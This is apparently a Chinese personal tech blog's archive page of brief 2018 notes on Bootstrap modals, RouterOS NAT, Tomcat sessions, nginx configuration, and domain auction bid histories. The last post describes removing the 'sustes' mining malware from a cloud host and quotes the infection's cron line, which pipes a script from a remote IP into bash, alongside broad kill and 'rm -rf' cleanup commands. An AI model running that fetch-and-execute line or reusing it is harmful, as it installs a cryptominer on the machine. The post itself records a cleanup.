某弹出层 使用 bootstrap modal 实现 , 实际使用中 内容为ajax动态加载 当长度大于页面的一屏时 弹窗上滑动时 弹窗内容不动 弹窗下面的主界面却在滑动, 尝试了各种方法,下面的这个最为优雅。 $(‘#mendian’).on(‘show.bs.modal’, function () { $(‘.modal .modal-body’).css(‘overflow-y’, ‘auto’); $(‘.modal .modal-body’).css(‘max-height’, $(window).height() * 0.8); });
Archives: 技术相关
routerOS NAT 转发 ADSL公网IP的某端口到内网某1个机器
2018-11-19 by Jinyang | No Comments | Filed in 技术相关/ip firewall nat add chain=dstnat protocol=tcp dst-port=*** dst-address-type=local action=dst-nat to-addresses=192.168.88.*** to-ports=80
同一域名 多tomcat 同一tomcat 多项目时的session共享
2018-11-13 by Jinyang | No Comments | Filed in 技术相关1. 设置tomcat的sessionid的cookie name 2.设置tomcat的sessionCookiePath 3. 设置cookie 的CookieProcessor <CookieProcessor className=”org.apache.tomcat.util.http.LegacyCookieProcessor” />
MikroTik RB450Gx4 RouterOS V6 带来高效稳定的网络
2018-11-10 by Jinyang | 1 Comment | Filed in 技术相关家里一直是只有无线网络 好几年了 虽然不稳定 但也能凑乎。 在家办公这几个月 就无法忍受不稳定的无线网络了 正在ssh进行重要操作 回车下去网络断了 真的是能急死人 , 家里用的零元购的斐讯K2路由器 刷的梅林系统 每天定时重启一次 但也还是没办法解决书房和次卧的网络信息问题 ,当作服务器使用的台式机也是使用的无线网卡 也存在不够稳定的现象。 分离路由和无线,让路由就是路由 无线就是无线 各司其职 是改造的目的,选型比较了若干方案,开源的RouterOS看样子大家都比较推荐,于是买入 Nat 转发 到台式机 ,飞快。 // 待有空完善。
BenJiao.com Bid History(10 Bidders:, 38 Bids)
2018-10-28 by Jinyang | No Comments | Filed in 技术相关BenJiao.com Bid History(10 Bidders:, 38 Bids) Bidder Bid Date Time first1 High Bid $350.00 Oct 27 13:17:24 DefendOr6 $330.00 Oct 27 13:15:46 first1 $310.00 Oct 27 13:11:12 nameword $290.00 Oct 27 13:09:09 first1 $270.00 Oct 27 13:07:38 DefendOr6 $250.00 Oct 27 13:06:55 first1 $230.00 Oct 27 13:03:53 nameword P $210.00 Oct 27 13:02:48 DefendOr6 $204.00 Oct 27 13:02:48 […]
Zaiti.com Bid History(24 Bidders:, 76 Bids)
2018-10-27 by Jinyang | No Comments | Filed in 技术相关Bidder Bid Date Time first1 High Bid $1,577.00 Oct 26 12:55:51 168888 P $1,555.00 Oct 26 12:55:51 168888 P $1,527.00 Oct 26 12:54:49 first1 $1,477.00 Oct 26 12:54:49 168888 P $1,427.00 Oct 26 12:54:09 first1 $1,377.00 Oct 26 12:54:09 168888 P $1,327.00 Oct 26 12:53:06 first1 $1,277.00 Oct 26 12:53:06 168888 P $1,227.00 Oct 26 […]
nginx access log format
2018-10-17 by Jinyang | No Comments | Filed in 技术相关https://grafana.com/dashboards/2292 log_format main ‘{“@timestamp”:”$time_iso8601″,’ ‘”@source”:”$server_addr”,’ ‘”hostname”:”$hostname”,’ ‘”ip”:”$http_x_forwarded_for”,’ ‘”client”:”$remote_addr”,’ ‘”request_method”:”$request_method”,’ ‘”scheme”:”$scheme”,’ ‘”domain”:”$server_name”,’ ‘”referer”:”$http_referer”,’ ‘”request”:”$request_uri”,’ ‘”args”:”$args”,’ ‘”size”:$body_bytes_sent,’ ‘”status”: $status,’ ‘”responsetime”:$request_time,’ ‘”upstreamtime”:”$upstream_response_time”,’ ‘”upstreamaddr”:”$upstream_addr”,’ ‘”http_user_agent”:”$http_user_agent”,’ ‘”https”:”$https”‘ ‘}’;
nginx status
2018-10-17 by Jinyang | No Comments | Filed in 技术相关查看nginx安装的把目录 whereis nginx nginx: /usr/sbin/nginx 查看nginx的版本已经已安装的插件 /usr/sbin/nginx -V nginx version: nginx/1.14.0 built by gcc 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC) built with OpenSSL 1.0.2k-fips 26 Jan 2017 TLS SNI support enabled configure arguments: –prefix=/etc/nginx –sbin-path=/usr/sbin/nginx –modules-path=/usr/lib64/nginx/modules –conf-path=/etc/nginx/nginx.conf –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –pid-path=/var/run/nginx.pid –lock-path=/var/run/nginx.lock –http-client-body-temp-path=/var/cache/nginx/client_temp –http-proxy-temp-path=/var/cache/nginx/proxy_temp –http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp –http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp –http-scgi-temp-path=/var/cache/nginx/scgi_temp –user=nginx –group=nginx –with-compat –with-file-aio –with-threads –with-http_addition_module –with-http_auth_request_module –with-http_dav_module –with-http_flv_module […]
Bid history for nuanku.com
2018-10-16 by Jinyang | No Comments | Filed in 技术相关Starting Bid: $79.00 15-Oct-2018 14:05 PDT Auction End Time: 15-Oct-2018 12:45 PDT Bidder Date Bid Amount Comment rn0412 15-Oct-2018 12:35 PDT $400.00 Bid Placed juming 15-Oct-2018 12:33 PDT $375.00 Bid Placed rn0412 15-Oct-2018 12:25 PDT $350.00 Bid Placed juming 15-Oct-2018 12:23 PDT $325.00 Bid Placed rn0412 15-Oct-2018 12:17 PDT $300.00 Bid Placed juming 15-Oct-2018 12:17 PDT $300.00 […]
云主机的挖矿病毒 sustes
2018-10-05 by Jinyang | No Comments | Filed in 技术相关ps aux ps aux|grep wget|awk ‘{print $2}’|xargs kill -9 crontab -u www-data -l crontab -e -u www-data #* * * * * wget -q -O – http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1 cd /var/tmp rm -rf *